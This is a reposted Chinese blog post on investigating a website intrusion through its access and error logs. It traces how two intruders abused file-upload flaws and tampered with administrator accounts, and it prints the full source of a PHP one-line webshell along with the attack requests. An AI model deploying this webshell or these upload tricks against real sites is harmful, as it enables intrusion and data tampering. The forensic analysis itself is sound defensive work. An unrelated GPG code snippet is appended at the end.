【转载】【解密】日志追凶之从看日志了解黑客攻击手法

  夜已深,人已睡

  而我们的路,才刚刚起航。

  在下给大家献上一个巨作,可花了我不少时间!

  首先我们来认识两个日志。

  

  www.xxx.com-access_log

  www.xxx.com-error_log

  一个是错误日志,一个是普通的日志。

  首先我们接到一位客户的客户的求助,网站被入侵,数据被篡改,服务器已关闭。于是开始了一波日志追凶之路。

  首先我们先把他们的网站后台访问记录给清理出来(黑客一般都需要进后台改数据)

  [HTML] 纯文本查看 复制代码

  ?1数据1:[url]http://www.xxx.com/index.php?g=admin&m=index&a=index[/url]]http://www.xxx.com/index.php?g=admin&m=index&a=index网站后台主页

  首先客户的IP地址为:154.124.124.* 就在无其他外地IP

  那么也就是说只要是别的IP地址成功的访问了后台的主页,那他就是黑客了!

  我们先查的第一个日志文件就是 www.xxx.com-access_log这个文件是用来存储每个用户访问了那些文件的日志(css,js,png图片啥的都在内)

  

  总共36个访问记录

  

  [HTML] 纯文本查看 复制代码

  ?1

  2

  3183.164.254.195 - - [25/Jul/2017:13:49:43 +0800] "GET /index.php?g=admin&m=index&a=index HTTP/1.1" 302 -

  183.164.254.195 - - [25/Jul/2017:13:49:45 +0800] "GET /index.php?g=admin&m=public&a=login HTTP/1.1" 200 2384

 183.164.254.195 - - [25/Jul/2017:13:49:46 +0800] "GET /index.php?g=api&m=checkcode&a=index&length=4&font_size=20&width=248&height=42&use_noise=1&use_curve=0 HTTP/1.1" 200 1355

  突然发现了一个IP地址为:183.164.254.195(安徽省淮北市 电信 )

  登陆时间:2017年7月25日 13:49:43秒 (也就是客户发现数据被篡改的这天)

  (我没地域黑的意思,安徽这边做黑产的实在不少,于是判定这就是黑客IP)

  

  好家伙,500多条请求记录,于是我们将这个IP地址作为搜索依据,开始摸下去。

  

  可以看到他在浏览后台,所以在请求JS等文件,继续跟踪,看看还干了什么。

  183.164.254.195 - - [25/Jul/2017:13:51:53 +0800] "GET /index.php?g=&m=admin_post&a=add&term= HTTP/1.1" 200 10760

  可以看到,这名黑客在添加网站后台管理员。

  接着

  183.164.254.195 - - [25/Jul/2017:13:52:00 +0800] "GET /index.php?g=Asset&m=Ueditor&a=upload&action=config&&noCache=1500961918833 HTTP/1.1" 200 2105

  我们看到了他正在使用百度编辑器的文件上传功能,(简单意思:正在上传文件)

  接着继续跟下去发现了他访问了一个index.php文件

  183.164.254.195 - - [25/Jul/2017:13:53:37 +0800] "POST /plugins/Mobileverify/View/assets/images/index.php HTTP/1.1" 200 -

  于是我们查看了服务器该处文件的源码,果然是一个一句话

  <?php

  error_reporting(0);

  $a=array($_REQUEST['c']=>"");

  $b=array('');

  array_diff_uassoc($a,$b,create_function('$a','return @eval(base64_decode($a));'));

  ?>

  这就是黑客的一句话木马,至此之中我们还未发现他是如何获取到的密码。继续往下跟

  

  多次在访问这个一句话木马,推测是在使用菜刀进行一些操作

  继续跟

  183.164.254.195 - - [25/Jul/2017:13:55:13 +0800] "POST /index.php?g=Asset&m=Ueditor&a=upload&action=uploadimage HTTP/1.1" 200 115

  上面的这段代码是在使用百度编辑器的上传功能,紧接着下面就是出现了php文件

  183.164.254.195 - - [25/Jul/2017:13:55:26 +0800] "GET //data//upload//ueditor//20170725//5976dd41ba74e.php HTTP/1.1" 200 -

  183.164.254.195 - - [25/Jul/2017:13:55:27 +0800] "GET //data//upload//ueditor//20170725//5976dd41ba74e.php HTTP/1.1" 200 -

  于是推测这个编辑器可能存在任意文件上传,那么问题来了,他是怎么进的后台?

  

  然后这名黑客一直在使用这个一句话文件,进行一些操作,于是我猜想到了这名黑客上传的第一个文件index.php是准备用来作为自己再次攻进来的后门,所以并未直接使用哪个一句话,而是直接用的编辑器上传的新的一句话木马。

  在14:07:55秒他进行了

  183.164.254.195 - - [25/Jul/2017:14:07:55 +0800] "GET /index.php?g=mill&m=dealadmin&a=force HTTP/1.1" 200 15294

  一个删除管理员的操作。

  (在刚进后台的时候他就立即进行了添加管理员操作,接着他发现了后台编辑器存在上传漏洞,于是又回去删除掉了刚开始添加的管理员,防止被发现。)

  接着

  183.164.254.195 - - [25/Jul/2017:14:10:57 +0800] "GET /index.php?g=Admin&m=Menu&a=edit&id=109&menuid= HTTP/1.1" 200 17203

  对编号为109的管理员进行了修改操作

  183.164.254.195 - - [25/Jul/2017:14:12:45 +0800] "GET /index.php?g=User&m=indexadmin&a=edituser&id=4131 HTTP/1.1" 200 3442

  接着对会员用户ID为4131的进行改动

  183.164.254.195 - - [25/Jul/2017:14:22:14 +0800] "GET /index.php?g=User&m=indexadmin&a=editmobile&id=21 HTTP/1.1" 200 2928

  修改了管理员ID为21的手机号

  (他这样做是因为后台登陆需要手机号,修改密码也可以在前台找回密码处修改管理员密码。)

  这招确实高。

  接着,又TM改了管理员编号为37的。。我日

  183.164.254.195 - - [25/Jul/2017:14:29:37 +0800] "GET /index.php?g=User&m=indexadmin&a=editmobile&id=37 HTTP/1.1" 200 2928

  183.164.243.116 - - [25/Jul/2017:15:18:09 +0800] "GET /index.php?g=User&m=indexadmin&a=editmobile&id=162 HTTP/1.1" 200 2929

  183.164.243.116 - - [25/Jul/2017:17:24:25 +0800] "GET /index.php?g=User&m=indexadmin&a=editmobile&id=4181 HTTP/1.1" 200 2919

  算下来,这名黑客总共篡改了5个管理员账户的手机号。也tm是个人才

  可见黑客对这个网站的重视程度。

  最后黑客的日志中断于:

  183.164.243.116 - - [25/Jul/2017:19:19:41 +0800]

  3点进来的,5点走的。

  这名黑客追踪完毕,我继续看后台日志

  起来继续写

  220.173.123.32 - - [25/Jul/2017:14:08:18 +0800] "GET /index.php?g=Admin&m=Slide&a=index HTTP/1.1" 200 5800

  突然一个IP地址又出现在了我的眼前,这个IP地址在2点08分18秒进入过后台,上一名黑客是在3进来的,那么他们是否有某种联系?

  随后我对这名黑客的操作进行了分析

  220.173.123.32 - - [25/Jul/2017:14:11:33 +0800] "POST /index.php?g=asset&m=asset&a=plupload HTTP/1.1" 200 304

  进行上传操作

  上传第一个图片

  220.173.123.32 - - [25/Jul/2017:14:12:12 +0800] "GET /data//upload//admin//20170725//5976e115d4414.jpg HTTP/1.1" 200 4819

  然后下面这条我给大家解读一下,他是在利用Nginx的解析漏洞

  220.173.123.32 - - [25/Jul/2017:14:12:16 +0800] "GET /data//upload//admin//20170725//5976e115d4414.jpg/.php HTTP/1.1" 404 251

  该名黑客对后台进行多番操作(改数据,添加管理账户等,比如)

  220.173.123.32 - - [25/Jul/2017:14:14:48 +0800] "GET /index.php?g=Admin&m=ad&a=add HTTP/1.1" 200 2684

  接着他又再次去使用文件上传功能,但是这次却突然上传成功了

  220.173.123.32 - - [25/Jul/2017:14:18:42 +0800] "GET /data/upload/admin/20170725/5976e1e4373de.php HTTP/1.1" 200 -

  我怀疑是183那名黑客教他的

  随后这名黑客利用上传好了的shell,开始进行菜刀操作,这里就不列举了

  这名黑客在6点41分退出后台,删除了原先添加的账户

  220.173.123.32 - - [25/Jul/2017:18:41:43 +0800] "POST /index.php?g=Mill&m=Dealadmin&a=deal HTTP/1.1" 200 14459

  在这里的第一个日志过程中,我们终究未发现这伙人是如何拿到后台密码进入后台的,下一个日志即将为大家揭秘。

  第二个日志我就继续以这两个黑客IP为线索,开始进行下一步追踪

  我直接定位了220.173.123.32的操作记录

  

  然后分析是否留了后门

  [Tue Jul 25 18:41:43.948532 2017] [:error] [pid 1563:tid 139622384338688] [client 220.173.123.32:21604] PHP Notice: Use of undefined constant flase - assumed 'flase' in /data/WebRoot/www.xxx.com/index.php on line 21, referer: http://www.xxx.com/index.php?g=admin&m=index&a=index

  在这篇日志中,这名黑客其实进行的都是一些后台操作,毫无技术含量,也没有留后门什么的,看起来不像是一个技术人员,倒像是一个洗钱专家

  于是我们对另外一名183的黑客进行追踪

  我们看到他对20170724.rar进行了访问操作

  [client 183.164.254.195:63171] PHP Notice: Use of undefined constant flase - assumed 'flase' in /data/WebRoot/www.xxx.com/index.php on line 21, referer: http://www.xxx.com/20170724.rar

  但是返回404

  接着对一个文件进行了更改

  [client 183.164.254.195:61753] PHP Fatal error: Can't use function return value in write context in /data/WebRoot/www.xxx.com/application/Portal/Controller/AdminPageController.class.php on line 127, referer: http://www.xxx.com/index. ... m=index&a=index

  AdminPageController.class.php 我们立即对这个文件的127行进行了查看,发现他去掉了验证。

  首先我们知道,后台是存在任意文件上传的,但是都需要登陆后台,如果客户方全部修改密码,他们的原先小把戏肯定就能显形,而这里他进行的更改就是无需登陆,可直接通过burp进行上传任意文件。

  这条日志的发现,使我们彻底明白了他的入侵方式

  [client 183.164.254.195:62221] PHP Notice: Use of undefined constant flase - assumed 'flase' in /data/WebRoot/www.xxx.com/index.php on line 21, referer: http://www.xxx.com//data//upload//ueditor//20170725//5976eaa7e9225.php

  原来是前台会员中心的头像上传漏洞

  ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

  这里对这次黑客攻击技术性做一次评估和分析

  首先这名黑客利用前台任意文件上传漏洞,接着获取到了shell,然后该名黑客解密了其中一个管理人员的密码,登陆后台,接着对后台部分管理人员的绑定手机号篡改,以方便下次入侵。(确实机智,前台可根据短信验证码修改后台管理员密码,但是足以可见这是一个犯罪经验比较丰富的团伙)接着应该叫做Boss的220.173.123.32出场,开始对后台进行金额上面的篡改,以达到洗钱的目的,然后作为技术人员的安徽黑客183.164.254.195就开始进行留后门操作,他们都是同一时间进行的操作,而且还很聪明的修改了文件上传功能的权限验证,以达到未授权访问的目的,这样即使杀毒软件怎么扫描都无法扫描出来。

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
好的,以下是一个简单的使用 python-gnupg 模块进行加密和解密的示例代码: ```python import gnupg # 创建一个 GPG 对象 gpg = gnupg.GPG() # 导入公钥 with open('public_key.asc', 'rb') as f: public_key = f.read() import_result = gpg.import_keys(public_key) print(import_result.results) # 加密数据 data = b'Hello, world!' encrypted_data = gpg.encrypt(data, import_result.fingerprints[0], always_trust=True) print(encrypted_data.data) # 解密数据 decrypted_data = gpg.decrypt(encrypted_data.data, passphrase='your_passphrase') print(decrypted_data.data) ``` 在上面的示例代码中,我们首先通过 `gnupg.GPG()` 创建了一个 GPG 对象。然后,我们通过读取公钥文件的方式导入了公钥,并使用 `gpg.import_keys()` 方法将公钥导入到 GPG 对象中。接着,我们使用 `gpg.encrypt()` 方法对数据进行加密,并将加密结果打印出来。最后,我们使用 `gpg.decrypt()` 方法对加密数据进行解密,并将解密结果打印出来。 需要注意的是,上述示例中的 `public_key.asc` 文件是一个 ASCII 编码的公钥文件,可以通过 `gpg --export --armor <key-id>` 命令导出。`--armor` 选项表示将输出结果转换为 ASCII 编码的文本格式。`<key-id>` 是要导出公钥的密钥 ID。 另外,需要在使用 `gpg.encrypt()` 方法时指定接收者的指纹(即密钥 ID),这里我们使用导入公钥时获取的第一个指纹。在使用 `gpg.decrypt()` 方法时,需要提供解密密码(即私钥密码)。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值